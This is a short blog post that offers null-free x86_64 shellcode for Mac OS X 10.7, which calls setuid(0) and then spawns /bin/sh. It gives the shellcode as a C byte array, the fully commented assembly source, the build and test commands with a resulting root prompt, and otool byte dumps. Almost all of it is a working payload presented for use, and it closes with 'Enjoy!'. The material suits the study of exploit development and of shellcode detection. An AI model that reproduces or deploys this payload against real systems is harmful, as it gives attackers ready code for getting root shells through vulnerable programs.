More smaller shellcode, this time, tested and verified working on OSX 10.7.

Shellcode

/*
 * Name: setuid_shell_x86_64
 * Qualities: Null-Free
 * Platforms: Mac OS X 10.7 Intel x86_64
 *
 *  Created on: Apr 12, 2012
 *      Author: Dustin Schultz - TheXploit.com
 */
char shellcode[] =
"\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0"
"\x0f\x05\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x48\xbf\x2f\x62"
"\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6"
"\x0f\x05";

Source

; File: setuid_shell_x86_64.asm
; Author: Dustin Schultz - TheXploit.com
BITS 64

section .text
global start

start:
mov r8b, 0x02                   ; Unix class system calls = 2
shl r8, 24                      ; shift left 24 to the upper order bits
or r8, 0x17                     ; setuid = 23, or with class = 0x2000017
xor edi, edi                    ; zero out edi, uid = 0
mov rax, r8                     ; syscall number in rax
; mov rax, 0x2000017
syscall                         ; invoke kernel
add r8, 0x24                    ; 0x24+r8=0x200003b
mov rax, r8                     ; syscall number in rax
xor rdx, rdx                    ; zero out rdx, null terminator
; mov rax, 0x200003b
mov rdi, 0x68732f2f6e69622f     ; /bin//sh in hex
push rdx                        ; push backwards, null terminator
push rdi                        ; address of /bin//sh
mov rdi, rsp                    ; null terminated /bin/sh pointer
push rdx                        ; push backwards, null terminator
push rdi                        ; address of /bin//sh
mov rsi, rsp                    ; null terminated /bin/sh pointer
syscall                         ; invoke kernel

To test:

dustin@sholtz:~/$ nasm -f macho64 shell.s 
dustin@sholtz:~/$ ld -static -arch x86_64 shell.o
dustin@sholtz:~/$ ./a.out
bash-3.2# 

Bytes from otool:

dustin@sholtz:~/$ otool -t a.out 
a.out:
(__TEXT,__text) section
0000000100000f86 41 b0 02 49 c1 e0 18 49 83 c8 17 31 ff 4c 89 c0 
0000000100000f96 0f 05 49 83 c0 24 4c 89 c0 48 31 d2 48 bf 2f 62 
0000000100000fa6 69 6e 2f 2f 73 68 52 57 48 89 e7 52 57 48 89 e6 
0000000100000fb6 0f 05 

Enjoy!